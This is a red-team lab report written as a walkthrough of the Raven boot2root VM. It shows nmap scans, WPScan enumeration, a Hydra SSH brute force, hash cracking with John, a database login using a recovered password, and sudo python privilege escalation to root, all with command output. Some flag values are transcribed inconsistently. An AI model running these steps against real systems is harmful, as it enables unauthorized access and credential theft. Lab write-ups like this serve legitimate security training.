

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

TODO: Fill out the information below.

Nmap scan results for each machine reveal the below services and OS details:

```
$ nmap -sC -sV 192.168.1.110
```

This scan identifies the services below as potential points of entry:

Target 1

List of Exposed Services:

```
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
| ssh-hostkey:
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256  1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|   256  0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
|_
80/tcp    open  http
|_ http-title: Raven Security
111/tcp    open  rpcbind
|_ rpcinfo:
|   program version    port/proto  service
|   100000   2,3,4       111/tcp     rpcbind
|   100000   2,3,4       111/udp     rpcbind
|   100000   3,4         111/tcp6    rpcbind
|   100000   3,4         111/udp6    rpcbind
|   100024   1           37559/tcp   status
|   100024   1           38059/udp   status
|   100024   1           39632/udp6  status
|   100024   1           53478/tcp6  status
|_
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

The following vulnerabilities were identified on each target:

Target 1

List of Critical Vulnerabilities:

```
root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2022-08-24 17:07 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0010s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.77 seconds
```

Exploitation

Fill out the details below. Include screenshots where possible.

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

Target 1

flag1.txt: {b9bbcb33e11b80be759c4e844862482d}

Exploit Used

Identify the exploit used: WPScan to enumerate users on the Target1 WordPress site.

Include the command run with screenshot:

- ```
root@Kali:~# wpscan --url http://192.168.1.110/wordpress --eu

 W P S C A N
WordPress Security Scanner by the WPScan Team
Version 3.7.8
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: http://192.168.1.110/wordpress/
[+] Started: Wed Aug 24 17:18:52 2022

Interesting Finding(s):
[+] http://192.168.1.110/wordpress/
 Interesting Entry: Server: Apache/2.4.10 (Debian)
 Found By: Headers (Passive Detection)
 Confidence: 100%

[+] http://192.168.1.110/wordpress/xmlrpc.php
 Found By: Direct Access (Aggressive Detection)
 Confidence: 100%
 References:
 - http://codex.wordpress.org/XML-RPC_Pingback_API
 - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
```

- ```
root@Kali:~# hydra -l michael -P /usr/share/wordlists/rockyou.txt -v 192.168.1.110 -t 4 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-24 17:19:58
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.1.110:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://michael@192.168.1.110:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.110:22
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "iloveyou" - 5 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "princess" - 6 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "1234567" - 7 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "rockyou" - 8 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "12345678" - 9 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "abc123" - 10 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "nicole" - 11 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "daniel" - 12 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "babygirl" - 13 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "monkey" - 14 of 14344399 [child 1] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "lovely" - 15 of 14344399 [child 0] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "jessica" - 16 of 14344399 [child 2] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "654321" - 17 of 14344399 [child 3] (0/0)
[ATTEMPT] target 192.168.1.110 - login "michael" - pass "michael" - 18 of 14344399 [child 1] (0/0)
[22][ssh] host: 192.168.1.110 login: michael password: michael
[STATUS] attack finished for 192.168.1.110 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-24 17:20:11
root@Kali:~#
```


- ```
root@Kali:~# ssh michael@192.168.1.110
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Thu Aug 25 10:12:10 2022 from 192.168.1.90
michael@target1:~$ cd /var/www/html
michael@target1:/var/www/html$ ls
about.html contact.zip elements.html img js Security - Doc team.html wordpress
contact.php css fonts index.html scss service.html vendor
```

[illegible]

**flag2.txt:** {fc3fd5Bdcdad9ab23facac6e9a365e581c33}

Exploit Used

Identify the exploit used: cd from /var/www/html to /var/www/ the file is name flag2.txt

Include the command run:

ssh [michael@192.168.1.110](mailto:michael@192.168.1.110)


password: michael

cd /var/www/

ls

cat flag2.txt

Screenshot:



```
root@Kali:~# ssh michael@192.168.1.110
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Thu Aug 25 10:20:52 2022 from 192.168.1.90
michael@target1:~$ cd /var/www
michael@target1:/var/www$ ls
flag2.txt html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

**FLAG3.txt:** {afc01ab56b50591e7dcf93122770cd23}

**Exploit Used:**

**Identify the exploit used:** Access the wordpress mysql database

**Include the command run:**

mysql -u root -p wordpress

enter password: R@v3nSecurity

show databases;

```
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
| wordpress |
+-----+
4 rows in set (0.01 sec)
```

use wordpress;

```
mysql> use wordpress;
Database changed
```

show tables;

```
mysql> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta |
| wp_comments |
| wp_links |
| wp_options |
| wp_postmeta |
| wp_posts |
| wp_term_relationships |
| wp_term_taxonomy |
| wp_termmeta |
| wp_terms |
| wp_usermeta |
| wp_users |
+-----+
12 rows in set (0.00 sec)
```

```
select * from wp:posts;
```

```
| 0 | http://
| flag3{afc01ab56b50591e7dccf93122770cd2}
```

**flag4.txt:** {715dea6c055b9fe3337544932F2941ce}

Exploit Used:

Identify the exploit used: Flag 4 file in steven's root folder.

Include the command run:

```
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt
```

```
root@Kali:~/Documents# john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass (P or H) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pink84 (steven)
1g 0:00:05:06 14.94% (ETA: 19:02:01) 0.003267g/s 7734p/s 7884c/s 7884C/s 13holly..13allme
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session aborted
root@Kali:~/Documents#
```

```
ssh steven@localhost
```

```
steven@localhost's password: pink84
```

```
michael@target1:~$ ssh steven@localhost
steven@localhost's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Aug 25 11:03:46 2022 from localhost
$
```

```
sudo python -c 'import pty;pty.spawn("/bin/bash");'
cd ../../
cd root
ls
cat flag4.txt
```

```
root@target1:~# cat flag4.txt
```

```

| _ \
| |/_/_ _ _ _ _ _ _ _
| // _` \ \ / / _ \ ' _ \
| |\ \ C_ | |\ v / _/ | | |
_ | \ \ _ , _ | \ / \ _ | _ | | _ |
```

```
flag4{715dea6c055b9fe3337544932f2941ce}
```

```
CONGRATULATIONS on successfully rooting Raven!
```

```
This is my first Boot2Root VM - I hope you enjoyed it.
```

```
Hit me up on Twitter and let me know what you thought:
```

```
@mccannwj / wjmccann.github.io
```